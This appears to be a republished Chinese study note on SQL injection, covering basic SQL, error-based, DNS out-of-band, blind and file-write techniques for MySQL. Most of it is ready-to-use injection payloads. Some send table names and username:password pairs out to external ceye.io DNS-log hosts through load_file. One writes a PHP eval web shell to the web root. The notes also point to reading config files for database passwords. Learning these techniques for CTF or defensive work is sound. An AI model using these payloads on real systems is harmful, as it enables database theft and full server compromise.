sql注入学习
?基础查询语句:
给指定字段添加数据
insert into 表名(字段名1,字段名2,.....) values(值1,值2,......);
给全部字段添加数据
insert into 表名 values (值1,值2,.....);
--无限制条件的修改,会修改整张表
update 表名 set 字段 = 值;
--有限制条件的修改,只修改特定记录
update 表名 set 字段 = 值 where 条件(字段 = 值);
replace
要确定表中是否已存在新行,MySQL使用PRIMARY KEY或UNIQUE KEY 索引。如果表没有这些索引之一,则REPLACE语句等同于INSERT语句。
replace into 表名 VALUES(6,'wokou','新九州岛','日本')
select + 列名 from +表名 where +限制
select * from users where name in ('zxp');? //查询所有name ='zxp'??
1为填充列,union查询后边查询的列必须和前边的列相等
select * from users where id=6 union select *,1 from emails where id=6;
由于页面只会回显一行,则需要将前边语句不成立,union查询的结果便会显示
select * from use where id=-1 union select 1,2,3#查询三列
group by进行分组,分组不能超过查询的列数,2 3 为填充列
select name,2,3 from user group by 2 按第3列分组
order 按照第几列进行排序
select name,2,3 from user group by 1 按照第一列排序
limit 限制输出行数
select * from user limit 0,3 从第一行开始输出3行
一、报错注入:
substr
1.extractvalue:注意
extractvalue updatexml都只能显示最多32个字符?
需要用substr mid 截取
extractvalue() 第一个参数 XML文档名称 ,第二个参数 路径
select extractvalue(doc,'/book/author/surname') from xml
如果路径的第一个字符错了,就会报错??
?id=0'union select 1,2,extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,30)
from information_schema.schemata)))--+
2.updatexml(xml_document,xpath_string,new_value)??
select undatexml(doc,'/book/auther/surname','1') from xml
更改路径的符号会报错
select undatexml(doc,'~book/auther/surname','1') from xml
如果没有用group_concat需要用limit?控制输出第几行
?id=1")union select 1,2,updatexml(1,concat(0x7e,(select mid(schema_name,1,30) from information_schema.schemata limit 0,1), 0x7e),1)--+
3.floor
rand()返回0~1间的小数? ?
floor向下取整? ceiling向上取整
concat_ws() 将括号里的数据用第一个字段连接起来
as 用于取别名
count() 汇总统计数量
?id=0" union select 1,count(*),concat_ws('-',(select substr(group_concat(table_name),1,30)
from information_schema.tables where table_schema='ctftraining'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
from information_schema.tables这个是为了让行数多一点,
4.DNS外带?
?dnslog带外注入需要有文件读取的操作权限才能进行。
仅限于windos环境
?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+
?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+
?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+
因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
二、盲注
1.布尔盲注
?id=1'and ascii(substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()),1,1))>40--+
2.时间盲注
?id=1'and if( ascii(substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()),1,1))>410,sleep(0),sleep(2))--+
三 、文件写入
1.into outfile
需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。?
查看是否有写入权限
show variables like '%secure%'
其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出
当值被设置为NULL时,禁止导入导出功能
使用条件
-
root权限
-
GPC关闭(能使用单引号)
-
有绝对路径(读文件可以不用,写文件必须)
-
没有配置—secure-file-priv
?id=-1')) union select 1,2,"<?php @eval($_POST['password');?" into outfile "/var/www/html1.php"--+
2.load_file
读取文件
使用函数:
load_file()
select load_file(‘绝对路径反斜杠’);
后面的路径可以是单引号,0x,char转换的字符。
注意:路径中斜杠是/不是\。
一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置…
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!